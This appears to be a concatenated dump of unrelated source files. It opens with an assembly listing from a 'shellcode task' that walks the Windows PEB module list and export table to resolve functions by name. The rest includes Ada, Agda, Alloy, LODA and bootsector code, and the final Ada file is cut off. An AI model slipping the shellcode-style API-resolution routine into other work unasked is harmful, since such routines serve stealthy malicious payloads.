; Line 125
mov ecx, DWORD PTR _exportsDir$[ebp]
mov edx, DWORD PTR [ecx]
mov DWORD PTR _expAddr$[ebp], edx
; Line 126
mov eax, DWORD PTR _expAddr$[ebp]
add eax, DWORD PTR _module$[ebp]
mov DWORD PTR _exp$[ebp], eax
; Line 127
mov ecx, DWORD PTR _exp$[ebp]
mov edx, DWORD PTR [ecx+24]
mov DWORD PTR _namesCount$[ebp], edx
; Line 129
mov eax, DWORD PTR _exp$[ebp]
mov ecx, DWORD PTR [eax+28]
mov DWORD PTR _funcsListRVA$[ebp], ecx
; Line 130
mov edx, DWORD PTR _exp$[ebp]
mov eax, DWORD PTR [edx+32]
mov DWORD PTR _funcNamesListRVA$[ebp], eax
; Line 131
mov ecx, DWORD PTR _exp$[ebp]
mov edx, DWORD PTR [ecx+36]
mov DWORD PTR _namesOrdsListRVA$[ebp], edx
; Line 134
mov DWORD PTR _i$5[ebp], 0
jmp SHORT $LN4@get_func_b
$LN2@get_func_b:
mov eax, DWORD PTR _i$5[ebp]
add eax, 1
mov DWORD PTR _i$5[ebp], eax
$LN4@get_func_b:
mov ecx, DWORD PTR _i$5[ebp]
cmp ecx, DWORD PTR _namesCount$[ebp]
jae $LN3@get_func_b
; Line 135
mov edx, DWORD PTR _module$[ebp]
add edx, DWORD PTR _funcNamesListRVA$[ebp]
mov eax, DWORD PTR _i$5[ebp]
lea ecx, DWORD PTR [edx+eax*4]
mov DWORD PTR _nameRVA$2[ebp], ecx
; Line 136
mov edx, DWORD PTR _module$[ebp]
add edx, DWORD PTR _namesOrdsListRVA$[ebp]
mov eax, DWORD PTR _i$5[ebp]
lea ecx, DWORD PTR [edx+eax*2]
mov DWORD PTR _nameIndex$3[ebp], ecx
; Line 137
mov edx, DWORD PTR _module$[ebp]
add edx, DWORD PTR _funcsListRVA$[ebp]
mov eax, DWORD PTR _nameIndex$3[ebp]
movzx ecx, WORD PTR [eax]
lea edx, DWORD PTR [edx+ecx*4]
mov DWORD PTR _funcRVA$1[ebp], edx
; Line 139
mov eax, DWORD PTR _nameRVA$2[ebp]
mov ecx, DWORD PTR _module$[ebp]
add ecx, DWORD PTR [eax]
mov DWORD PTR _curr_name$4[ebp], ecx
; Line 140
mov DWORD PTR _k$6[ebp], 0
; Line 141
mov DWORD PTR _k$6[ebp], 0
jmp SHORT $LN7@get_func_b
$LN5@get_func_b:
mov edx, DWORD PTR _k$6[ebp]
add edx, 1
mov DWORD PTR _k$6[ebp], edx
$LN7@get_func_b:
mov eax, DWORD PTR _func_name$[ebp]
add eax, DWORD PTR _k$6[ebp]
movsx ecx, BYTE PTR [eax]
test ecx, ecx
je SHORT $LN6@get_func_b
mov edx, DWORD PTR _curr_name$4[ebp]
add edx, DWORD PTR _k$6[ebp]
movsx eax, BYTE PTR [edx]
test eax, eax
je SHORT $LN6@get_func_b
; Line 142
mov ecx, DWORD PTR _func_name$[ebp]
add ecx, DWORD PTR _k$6[ebp]
movsx edx, BYTE PTR [ecx]
mov eax, DWORD PTR _curr_name$4[ebp]
add eax, DWORD PTR _k$6[ebp]
movsx ecx, BYTE PTR [eax]
cmp edx, ecx
je SHORT $LN10@get_func_b
jmp SHORT $LN6@get_func_b
$LN10@get_func_b:
; Line 143
jmp SHORT $LN5@get_func_b
$LN6@get_func_b:
; Line 144
mov edx, DWORD PTR _func_name$[ebp]
add edx, DWORD PTR _k$6[ebp]
movsx eax, BYTE PTR [edx]
test eax, eax
jne SHORT $LN11@get_func_b
mov ecx, DWORD PTR _curr_name$4[ebp]
add ecx, DWORD PTR _k$6[ebp]
movsx edx, BYTE PTR [ecx]
test edx, edx
jne SHORT $LN11@get_func_b
; Line 146
mov eax, DWORD PTR _funcRVA$1[ebp]
mov ecx, DWORD PTR _module$[ebp]
add ecx, DWORD PTR [eax]
mov eax, ecx
jmp SHORT $LN1@get_func_b
$LN11@get_func_b:
; Line 148
jmp $LN2@get_func_b
$LN3@get_func_b:
; Line 149
xor eax, eax
$LN1@get_func_b:
; Line 150
mov esp, ebp
pop ebp
ret 0
?get_func_by_name@@YAPAXPAXPAD@Z ENDP ; get_func_by_name
_TEXT ENDS
; Function compile flags: /Odtp
; COMDAT ?get_module_by_name@@YAPAXPA_W@Z
_TEXT SEGMENT
_list$ = -52 ; size = 8
_Flink$ = -44 ; size = 4
_ldr$ = -40 ; size = 4
tv151 = -36 ; size = 4
tv132 = -32 ; size = 4
_peb$ = -28 ; size = 4
_curr_module$ = -24 ; size = 4
_curr_name$1 = -20 ; size = 4
_i$2 = -16 ; size = 4
_c2$3 = -12 ; size = 2
_c1$4 = -8 ; size = 2
tv155 = -4 ; size = 2
tv136 = -2 ; size = 2
_module_name$ = 8 ; size = 4
?get_module_by_name@@YAPAXPA_W@Z PROC ; get_module_by_name, COMDAT
; File C:\Users\IEUser\Source\Repos\Project1\Project1\shellcode_task_step1.cpp
; Line 79
push ebp
mov ebp, esp
sub esp, 52 ; 00000034H
; Line 80
mov DWORD PTR _peb$[ebp], 0
; Line 84
mov eax, DWORD PTR fs:48
mov DWORD PTR _peb$[ebp], eax
; Line 86
mov ecx, DWORD PTR _peb$[ebp]
mov edx, DWORD PTR [ecx+12]
mov DWORD PTR _ldr$[ebp], edx
; Line 87
mov eax, DWORD PTR _ldr$[ebp]
mov ecx, DWORD PTR [eax+12]
mov edx, DWORD PTR [eax+16]
mov DWORD PTR _list$[ebp], ecx
mov DWORD PTR _list$[ebp+4], edx
; Line 89
mov eax, DWORD PTR _list$[ebp]
mov DWORD PTR _Flink$[ebp], eax
; Line 90
mov ecx, DWORD PTR _Flink$[ebp]
mov DWORD PTR _curr_module$[ebp], ecx
$LN2@get_module:
; Line 92
cmp DWORD PTR _curr_module$[ebp], 0
je $LN3@get_module
mov edx, DWORD PTR _curr_module$[ebp]
cmp DWORD PTR [edx+24], 0
je $LN3@get_module
; Line 93
mov eax, DWORD PTR _curr_module$[ebp]
cmp DWORD PTR [eax+48], 0
jne SHORT $LN7@get_module
jmp SHORT $LN2@get_module
$LN7@get_module:
; Line 94
mov ecx, DWORD PTR _curr_module$[ebp]
mov edx, DWORD PTR [ecx+48]
mov DWORD PTR _curr_name$1[ebp], edx
; Line 96
mov DWORD PTR _i$2[ebp], 0
; Line 97
mov DWORD PTR _i$2[ebp], 0
jmp SHORT $LN6@get_module
$LN4@get_module:
mov eax, DWORD PTR _i$2[ebp]
add eax, 1
mov DWORD PTR _i$2[ebp], eax
$LN6@get_module:
mov ecx, DWORD PTR _i$2[ebp]
mov edx, DWORD PTR _module_name$[ebp]
movzx eax, WORD PTR [edx+ecx*2]
test eax, eax
je $LN5@get_module
mov ecx, DWORD PTR _i$2[ebp]
mov edx, DWORD PTR _curr_name$1[ebp]
movzx eax, WORD PTR [edx+ecx*2]
test eax, eax
je $LN5@get_module
; Line 99
mov ecx, DWORD PTR _i$2[ebp]
mov edx, DWORD PTR _module_name$[ebp]
movzx eax, WORD PTR [edx+ecx*2]
cmp eax, 90 ; 0000005aH
jg SHORT $LN11@get_module
mov ecx, DWORD PTR _i$2[ebp]
mov edx, DWORD PTR _module_name$[ebp]
movzx eax, WORD PTR [edx+ecx*2]
cmp eax, 65 ; 00000041H
jl SHORT $LN11@get_module
mov ecx, DWORD PTR _i$2[ebp]
mov edx, DWORD PTR _module_name$[ebp]
movzx eax, WORD PTR [edx+ecx*2]
add eax, 32 ; 00000020H
mov DWORD PTR tv132[ebp], eax
mov ecx, DWORD PTR _i$2[ebp]
mov edx, DWORD PTR _module_name$[ebp]
mov ax, WORD PTR tv132[ebp]
mov WORD PTR [edx+ecx*2], ax
mov cx, WORD PTR tv132[ebp]
mov WORD PTR tv136[ebp], cx
jmp SHORT $LN12@get_module
$LN11@get_module:
mov edx, DWORD PTR _i$2[ebp]
mov eax, DWORD PTR _module_name$[ebp]
mov cx, WORD PTR [eax+edx*2]
mov WORD PTR tv136[ebp], cx
$LN12@get_module:
mov dx, WORD PTR tv136[ebp]
mov WORD PTR _c1$4[ebp], dx
; Line 100
mov eax, DWORD PTR _i$2[ebp]
mov ecx, DWORD PTR _curr_name$1[ebp]
movzx edx, WORD PTR [ecx+eax*2]
cmp edx, 90 ; 0000005aH
jg SHORT $LN13@get_module
mov eax, DWORD PTR _i$2[ebp]
mov ecx, DWORD PTR _curr_name$1[ebp]
movzx edx, WORD PTR [ecx+eax*2]
cmp edx, 65 ; 00000041H
jl SHORT $LN13@get_module
mov eax, DWORD PTR _i$2[ebp]
mov ecx, DWORD PTR _curr_name$1[ebp]
movzx edx, WORD PTR [ecx+eax*2]
add edx, 32 ; 00000020H
mov DWORD PTR tv151[ebp], edx
mov eax, DWORD PTR _i$2[ebp]
mov ecx, DWORD PTR _curr_name$1[ebp]
mov dx, WORD PTR tv151[ebp]
mov WORD PTR [ecx+eax*2], dx
mov ax, WORD PTR tv151[ebp]
mov WORD PTR tv155[ebp], ax
jmp SHORT $LN14@get_module
$LN13@get_module:
mov ecx, DWORD PTR _i$2[ebp]
mov edx, DWORD PTR _curr_name$1[ebp]
mov ax, WORD PTR [edx+ecx*2]
mov WORD PTR tv155[ebp], ax
$LN14@get_module:
mov cx, WORD PTR tv155[ebp]
mov WORD PTR _c2$3[ebp], cx
; Line 101
movzx edx, WORD PTR _c1$4[ebp]
movzx eax, WORD PTR _c2$3[ebp]
cmp edx, eax
je SHORT $LN8@get_module
jmp SHORT $LN5@get_module
$LN8@get_module:
; Line 102
jmp $LN4@get_module
$LN5@get_module:
; Line 103
mov ecx, DWORD PTR _i$2[ebp]
mov edx, DWORD PTR _module_name$[ebp]
movzx eax, WORD PTR [edx+ecx*2]
test eax, eax
jne SHORT $LN9@get_module
mov ecx, DWORD PTR _i$2[ebp]
mov edx, DWORD PTR _curr_name$1[ebp]
movzx eax, WORD PTR [edx+ecx*2]
test eax, eax
jne SHORT $LN9@get_module
; Line 105
mov ecx, DWORD PTR _curr_module$[ebp]
mov eax, DWORD PTR [ecx+24]
jmp SHORT $LN1@get_module
$LN9@get_module:
; Line 108
mov edx, DWORD PTR _curr_module$[ebp]
mov eax, DWORD PTR [edx]
mov DWORD PTR _curr_module$[ebp], eax
; Line 109
jmp $LN2@get_module
$LN3@get_module:
; Line 110
xor eax, eax
$LN1@get_module:
; Line 111
mov esp, ebp
pop ebp
ret 0
?get_module_by_name@@YAPAXPA_W@Z ENDP ; get_module_by_name
_TEXT ENDS
END
|
alloy4fun_models/trashltl/models/9/9vDsw29FccoAnrT5j.als | Kaixi26/org.alloytools.alloy | 0 | 3912 | open main
pred id9vDsw29FccoAnrT5j_prop10 {
always (all f:File | f in Protected)
}
pred __repair { id9vDsw29FccoAnrT5j_prop10 }
check __repair { id9vDsw29FccoAnrT5j_prop10 <=> prop10o } |
oeis/227/A227466.asm | neoneye/loda-programs | 11 | 163001 | <reponame>neoneye/loda-programs<filename>oeis/227/A227466.asm
; A227466: E.g.f. equals the series reversion of tanh(x) / exp(x).
; Submitted by <NAME>
; 1,2,11,96,1149,17520,324855,7096320,178495065,5081045760,161485639875,5668185600000,217773547039125,9090267234048000,409648199646660975,19822083757572096000,1025047834112461784625,56415976360602034176000,3292602426688307236378875
lpb $0
sub $0,1
add $2,$3
add $3,1
mov $1,$3
mul $1,$0
add $2,$1
add $1,$3
mul $1,$0
add $4,1
mul $3,$4
add $3,$2
mov $2,$1
lpe
mov $0,$3
add $0,1
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/cd/cd2a21c.ada | best08618/asylo | 7 | 11811 | <filename>gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/cd/cd2a21c.ada
-- CD2A21C.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- OBJECTIVE:
-- CHECK THAT A SIZE SPECIFICATION CAN BE GIVEN FOR AN ENUMERATION
-- TYPE:
-- IN THE VISIBLE OR PRIVATE PART OF A PACKAGE FOR A TYPE
-- DECLARED IN THE VISIBLE PART;
-- FOR A DERIVED ENUMERATION TYPE;
-- FOR A DERIVED PRIVATE TYPE WHOSE FULL DECLARATION IS AS
-- AN ENUMERATION TYPE.
-- HISTORY:
-- PWB 06/17/87 CREATED ORIGINAL TEST.
-- DHH 04/17/89 CHANGED EXTENSION FROM '.DEP' TO '.ADA', CHANGED
-- OPERATORS ON 'SIZE TESTS, AND ADDED CHECK ON
-- REPRESENTATION CLAUSE.
-- JRL 03/26/92 REMOVED TESTING OF NONOBJECTIVE TYPES.
WITH REPORT; USE REPORT;
WITH LENGTH_CHECK; -- CONTAINS A CALL TO 'FAILED'.
PROCEDURE CD2A21C IS
TYPE BASIC_ENUM IS (A, B, C, D, E);
SPECIFIED_SIZE : CONSTANT := BASIC_ENUM'SIZE;
MINIMUM_SIZE : INTEGER := IDENT_INT(SPECIFIED_SIZE);
TYPE DERIVED_ENUM IS NEW BASIC_ENUM;
FOR DERIVED_ENUM'SIZE USE SPECIFIED_SIZE;
PACKAGE P IS
TYPE ENUM_IN_P IS (A1, B1, C1, D1, E1, F1, G1);
FOR ENUM_IN_P'SIZE USE SPECIFIED_SIZE;
TYPE PRIVATE_ENUM IS PRIVATE;
TYPE ALT_ENUM_IN_P IS (A2, B2, C2, D2, E2, F2, G2);
PRIVATE
TYPE PRIVATE_ENUM IS (A3, B3, C3, D3, E3, F3, G3);
FOR ALT_ENUM_IN_P'SIZE USE SPECIFIED_SIZE;
END P;
TYPE DERIVED_PRIVATE_ENUM IS NEW P.PRIVATE_ENUM;
FOR DERIVED_PRIVATE_ENUM'SIZE USE SPECIFIED_SIZE;
USE P;
PROCEDURE CHECK_1 IS NEW LENGTH_CHECK (DERIVED_ENUM);
PROCEDURE CHECK_2 IS NEW LENGTH_CHECK (ENUM_IN_P);
PROCEDURE CHECK_3 IS NEW LENGTH_CHECK (ALT_ENUM_IN_P);
BEGIN
TEST("CD2A21C", "CHECK THAT 'SIZE SPECIFICATIONS CAN BE GIVEN " &
"IN THE VISIBLE OR PRIVATE PART OF A PACKAGE " &
"FOR ENUMERATION TYPES DECLARED IN THE VISIBLE " &
"PART, AND FOR DERIVED ENUMERATION " &
"TYPES AND DERIVED PRIVATE TYPES WHOSE FULL " &
"DECLARATIONS ARE AS ENUMERATION TYPES");
CHECK_1 (C, SPECIFIED_SIZE, "DERIVED_ENUM");
CHECK_2 (C1, SPECIFIED_SIZE, "ENUM_IN_P");
CHECK_3 (C2, SPECIFIED_SIZE, "ALT_ENUM_IN_P");
IF DERIVED_ENUM'SIZE /= MINIMUM_SIZE THEN
FAILED ("DERIVED_ENUM'SIZE SHOULD NOT BE GREATER THAN" &
INTEGER'IMAGE(MINIMUM_SIZE) &
". ACTUAL SIZE IS" &
INTEGER'IMAGE(DERIVED_ENUM'SIZE));
END IF;
IF ENUM_IN_P'SIZE /= MINIMUM_SIZE THEN
FAILED ("ENUM_IN_P'SIZE SHOULD NOT BE GREATER THAN" &
INTEGER'IMAGE(MINIMUM_SIZE) &
". ACTUAL SIZE IS" &
INTEGER'IMAGE(ENUM_IN_P'SIZE));
END IF;
IF ALT_ENUM_IN_P'SIZE /= MINIMUM_SIZE THEN
FAILED ("ALT_ENUM_IN_P'SIZE SHOULD NOT BE GREATER THAN" &
INTEGER'IMAGE(MINIMUM_SIZE) &
". ACTUAL SIZE IS" &
INTEGER'IMAGE(ALT_ENUM_IN_P'SIZE));
END IF;
IF DERIVED_PRIVATE_ENUM'SIZE /= MINIMUM_SIZE THEN
FAILED ("DERIVED_PRIVATE_ENUM'SIZE SHOULD NOT BE GREATER " &
"THAN " & INTEGER'IMAGE(MINIMUM_SIZE) &
". ACTUAL SIZE IS" &
INTEGER'IMAGE(DERIVED_PRIVATE_ENUM'SIZE));
END IF;
RESULT;
END CD2A21C;
|
src/fltk.adb | micahwelf/FLTK-Ada | 1 | 22979 |
with
Interfaces.C,
System;
use type
Interfaces.C.int,
Interfaces.C.unsigned_long,
System.Address;
package body FLTK is
function fl_abi_check
(V : in Interfaces.C.int)
return Interfaces.C.int;
pragma Import (C, fl_abi_check, "fl_abi_check");
pragma Inline (fl_abi_check);
function fl_abi_version
return Interfaces.C.int;
pragma Import (C, fl_abi_version, "fl_abi_version");
pragma Inline (fl_abi_version);
function fl_api_version
return Interfaces.C.int;
pragma Import (C, fl_api_version, "fl_api_version");
pragma Inline (fl_api_version);
function fl_version
return Interfaces.C.double;
pragma Import (C, fl_version, "fl_version");
pragma Inline (fl_version);
function fl_get_damage
return Interfaces.C.int;
pragma Import (C, fl_get_damage, "fl_get_damage");
pragma Inline (fl_get_damage);
procedure fl_set_damage
(V : in Interfaces.C.int);
pragma Import (C, fl_set_damage, "fl_set_damage");
pragma Inline (fl_set_damage);
function fl_check
return Interfaces.C.int;
pragma Import (C, fl_check, "fl_check");
pragma Inline (fl_check);
function fl_ready
return Interfaces.C.int;
pragma Import (C, fl_ready, "fl_ready");
pragma Inline (fl_ready);
function fl_wait
return Interfaces.C.int;
pragma Import (C, fl_wait, "fl_wait");
pragma Inline (fl_wait);
function fl_wait2
(S : in Interfaces.C.double)
return Interfaces.C.int;
pragma Import (C, fl_wait2, "fl_wait2");
pragma Inline (fl_wait2);
function fl_run
return Interfaces.C.int;
pragma Import (C, fl_run, "fl_run");
pragma Inline (fl_run);
function Is_Valid
(Object : in Wrapper)
return Boolean is
begin
return Object.Void_Ptr /= System.Null_Address;
end Is_Valid;
procedure Initialize
(This : in out Wrapper) is
begin
This.Void_Ptr := System.Null_Address;
end Initialize;
function Press
(Key : in Pressable_Key)
return Keypress is
begin
return Character'Pos (Key);
end Press;
function Press
(Key : Pressable_Key)
return Key_Combo is
begin
return This : Key_Combo do
This.Modcode := Mod_None;
This.Keycode := Character'Pos (Key);
This.Mousecode := No_Button;
end return;
end Press;
function Press
(Key : in Keypress)
return Key_Combo is
begin
return This : Key_Combo do
This.Modcode := Mod_None;
This.Keycode := Key;
This.Mousecode := No_Button;
end return;
end Press;
function Press
(Key : in Mouse_Button)
return Key_Combo is
begin
return This : Key_Combo do
This.Modcode := Mod_None;
This.Keycode := 0;
This.Mousecode := Key;
end return;
end Press;
function "+"
(Left, Right : in Modifier)
return Modifier is
begin
return Left or Right;
end "+";
function "+"
(Left : in Modifier;
Right : in Pressable_Key)
return Key_Combo is
begin
return This : Key_Combo do
This.Modcode := Left;
This.Keycode := Character'Pos (Right);
This.Mousecode := No_Button;
end return;
end "+";
function "+"
(Left : in Modifier;
Right : in Keypress)
return Key_Combo is
begin
return This : Key_Combo do
This.Modcode := Left;
This.Keycode := Right;
This.Mousecode := No_Button;
end return;
end "+";
function "+"
(Left : in Modifier;
Right : in Mouse_Button)
return Key_Combo is
begin
return This : Key_Combo do
This.Modcode := Left;
This.Keycode := 0;
This.Mousecode := Right;
end return;
end "+";
function "+"
(Left : in Modifier;
Right : in Key_Combo)
return Key_Combo is
begin
return This : Key_Combo do
This.Modcode := Left or Right.Modcode;
This.Keycode := Right.Keycode;
This.Mousecode := Right.Mousecode;
end return;
end "+";
function To_C
(Key : in Key_Combo)
return Interfaces.C.unsigned_long is
begin
return To_C (Key.Modcode) + To_C (Key.Keycode) + To_C (Key.Mousecode);
end To_C;
function To_Ada
(Key : in Interfaces.C.unsigned_long)
return Key_Combo is
begin
return Result : Key_Combo do
Result.Modcode := To_Ada (Key);
Result.Keycode := To_Ada (Key);
Result.Mousecode := To_Ada (Key);
end return;
end To_Ada;
function To_C
(Key : in Keypress)
return Interfaces.C.unsigned_long is
begin
return Interfaces.C.unsigned_long (Key);
end To_C;
function To_Ada
(Key : in Interfaces.C.unsigned_long)
return Keypress is
begin
return Keypress (Key mod 65536);
end To_Ada;
function To_C
(Modi : in Modifier)
return Interfaces.C.unsigned_long is
begin
return Interfaces.C.unsigned_long (Modi) * 65536;
end To_C;
function To_Ada
(Modi : in Interfaces.C.unsigned_long)
return Modifier is
begin
return Modifier ((Modi / 65536) mod 256);
end To_Ada;
function To_C
(Button : in Mouse_Button)
return Interfaces.C.unsigned_long is
begin
case Button is
when Left_Button => return 1 * (256 ** 3);
when Middle_Button => return 2 * (256 ** 3);
when Right_Button => return 4 * (256 ** 3);
when others => return 0;
end case;
end To_C;
function To_Ada
(Button : in Interfaces.C.unsigned_long)
return Mouse_Button is
begin
case (Button / (256 ** 3)) is
when 1 => return Left_Button;
when 2 => return Middle_Button;
when 4 => return Right_Button;
when others => return No_Button;
end case;
end To_Ada;
function "+"
(Left, Right : in Menu_Flag)
return Menu_Flag is
begin
return Left or Right;
end "+";
function ABI_Check
(ABI_Ver : in Version_Number)
return Boolean is
begin
return fl_abi_check (Interfaces.C.int (ABI_Ver)) /= 0;
end ABI_Check;
function ABI_Version
return Version_Number is
begin
return Version_Number (fl_abi_version);
end ABI_Version;
function API_Version
return Version_Number is
begin
return Version_Number (fl_api_version);
end API_Version;
function Version
return Version_Number is
begin
return Version_Number (fl_version);
end Version;
function Is_Damaged
return Boolean is
begin
return fl_get_damage /= 0;
end Is_Damaged;
procedure Set_Damaged
(To : in Boolean) is
begin
fl_set_damage (Boolean'Pos (To));
end Set_Damaged;
function Check
return Boolean is
begin
return fl_check /= 0;
end Check;
function Ready
return Boolean is
begin
return fl_ready /= 0;
end Ready;
function Wait
return Integer is
begin
return Integer (fl_wait);
end Wait;
function Wait
(Seconds : in Long_Float)
return Integer is
begin
return Integer (fl_wait2 (Interfaces.C.double (Seconds)));
end Wait;
function Run
return Integer is
begin
return Integer (fl_run);
end Run;
end FLTK;
|
test/Fail/Issue1266.agda | shlevy/agda | 1,989 | 12087 | <reponame>shlevy/agda
-- Andreas, 2014-09-02, reported by Nisse
-- {-# OPTIONS -v scope.mod.inst:30 #-}
record R : Set₁ where
field
A : Set
-- works : (A : R) → let open R A renaming (A to B) in B → B
-- works _ a = a
test : (A : R) → let open R A in A → A
test _ a = a
-- WAS:
-- Either the A introduced by the let should shadow the outer A, or an
-- ambiguity error should be raised. Current error message:
--
-- R !=< Set of type Set₁
-- when checking that the expression A has type Set
-- NOW: ambiguity error.
|
1-base/lace/source/events/interface/lace-subject.ads | charlie5/lace-alire | 1 | 30630 | with
lace.Event,
lace.Observer;
limited
with
lace.Event.Logger;
package lace.Subject
--
-- Provides an interface for an event subject.
--
is
pragma remote_Types;
type Item is limited interface;
type View is access all Item'Class;
type Views is array (Positive range <>) of View;
type fast_View is access all Item'Class with Asynchronous;
type fast_Views is array (Positive range <>) of fast_View;
-------------
-- Containers
--
type Observer_views is array (Positive range <>) of Observer.view;
-------------
-- Attributes
--
function Name (Self : in Item) return Event.subject_Name is abstract;
------------
-- Observers
--
procedure register (Self : access Item; the_Observer : in Observer.view;
of_Kind : in Event.Kind) is abstract;
procedure deregister (Self : in out Item; the_Observer : in Observer.view;
of_Kind : in Event.Kind) is abstract;
function Observers (Self : in Item; of_Kind : in Event.Kind) return Observer_views is abstract;
function observer_Count (Self : in Item) return Natural is abstract;
-------------
-- Operations
--
procedure emit (Self : access Item; the_Event : in Event.item'Class := Event.null_Event) is abstract;
--
-- Communication errors are ignored.
function emit (Self : access Item; the_Event : in Event.item'Class := Event.null_Event)
return Observer_views is abstract;
--
-- Observers who cannot be communicated with are returned.
----------
-- Logging
--
procedure Logger_is (Now : in Event.Logger.view);
function Logger return Event.Logger.view;
end lace.Subject;
|
bootsector/bootsect.asm | drakeor/koiz-os-v1 | 0 | 88916 | <reponame>drakeor/koiz-os-v1<filename>bootsector/bootsect.asm
; Boot sector
use16
; Set global memory offset
; This is the MBR which is loaded by the BIOS at physical address 0x7C00
; Therefore, all our our operations need to be offset by that amount.
org 0x7c00
; Memory offset where we'll load the kernel
KERNEL_OFFSET equ 0x1000
; BIOS puts the boot drive in dl. We'll store it.
mov [boot_drive], dl
; Set up the stack
mov bp, 0x9000
mov sp, bp
; Print name of Bootloader
mov si, startup_message
call print_string
; Print out stack location
mov bx, bp
call print_hex_word
call print_newline
; Detect memory
call do_e820
; Load kernel to disk
call load_kernel
; Move to 32 bit protected mode
call use_32bpm
; Shouldn't get here...
jmp $
; Include 16-bit things
include 'diskload.asm'
include 'printfuncs.asm'
include 'gdt.asm'
include 'loadkernel.asm'
include 'detectmem.asm'
; Include 32-bit things
include 'protmode.asm'
include 'printfuncs32.asm'
; Variables
startup_message:
db 'KoiZ OS. Stack Start: ', 0x00
bit32_mode_message:
db 'Entered 32-bit protected mode', 0x00
; 32 bit main func
; Main logic. For now, it's just an infinite loop
use32
main_32b:
mov ebx, bit32_mode_message
call print_string_pm
; Alright, enter into our kernel!
call KERNEL_OFFSET
jmp $
; Buffer bootsector out to 512 bytes
times 510-($-$$) db 0
dw 0xaa55 |
registrar-executive-library_unit_registration.adb | annexi-strayline/AURA | 13 | 12569 | ------------------------------------------------------------------------------
-- --
-- Ada User Repository Annex (AURA) --
-- ANNEXI-STRAYLINE Reference Implementation --
-- --
-- Core --
-- --
-- ------------------------------------------------------------------------ --
-- --
-- Copyright (C) 2020-2021, ANNEXI-STRAYLINE Trans-Human Ltd. --
-- All rights reserved. --
-- --
-- Original Contributors: --
-- * <NAME> (ANNEXI-STRAYLINE) --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- --
-- * Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A --
-- PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
with Ada.Assertions;
with Ada.Containers;
with Registrar.Registry;
with Registrar.Source_Files;
package body Registrar.Executive.Library_Unit_Registration is
use type Ada.Containers.Count_Type;
-----------
-- Image --
-----------
overriding
function Image (Order: Library_Unit_Registration_Order)
return String
is ( "[Library_Unit_Registration_Order]" & New_Line &
"AURA : " & Boolean'Image (Order.AURA) & New_Line &
"Registrant : " & Order.Registrant.Name.To_UTF8_String
& New_Line &
(if Order.AURA then
"AURA_Subsystem: " & Order.AURA_Subsystem.Name.To_UTF8_String
else
"") & New_Line &
"Subunit Bodies:"
& Ada.Containers.Count_Type'Image
(Order.Registrant.Subunit_Bodies.Length));
-------------
-- Execute --
-------------
overriding
procedure Execute (Order: in out Library_Unit_Registration_Order) is
use Ada.Assertions;
use Unit_Names;
use Registrar.Library_Units;
use Registrar.Subsystems;
use type Registrar.Source_Files.Source_File_Access;
package All_Library_Units renames Registrar.Registry.All_Library_Units;
package All_Subsystems renames Registrar.Registry.All_Subsystems;
New_Unit: Library_Unit renames Order.Registrant;
procedure Modify_Unit (Existing_Unit: in out Library_Unit) is
begin
-- Attempt to correctly modify the existing element.
-- We expect that any non-null files of ths incoming unit will match
-- with null files of the existing unit.
-- We should also make sure that the state progresses to Registered
-- (since that is really the role of unit registration in the first-
-- place. Units that have a body but no spec will be delt with at a
-- later time
Assert (Check => Existing_Unit.State /= Compiled,
Message => "Addition of item to an already compiled unit");
-- Note that a new registration never has both a body and a spec
-- at the same time, so we can increase efficincy via a bit by
-- using if + elsif instead of two ifs
pragma Assert (if New_Unit.Spec_File = New_Unit.Body_File then
(New_Unit.Spec_File = null
and then New_Unit.Subunit_Bodies.Length > 0)
else
((New_Unit.Spec_File = null)
= (New_Unit.Body_File /= null)));
-- If a subunit is registered before the associated library unit is
-- registered (particularily if it hasn't been requested rist), that
-- library unit will get a placeholder - essentially it was assumed
-- that the subunit was associated (nested in) another subunit.
--
-- In these cases, the New_Unit, which is registering a library unit,
-- might have a subunit in place. We should therefore set the Kind
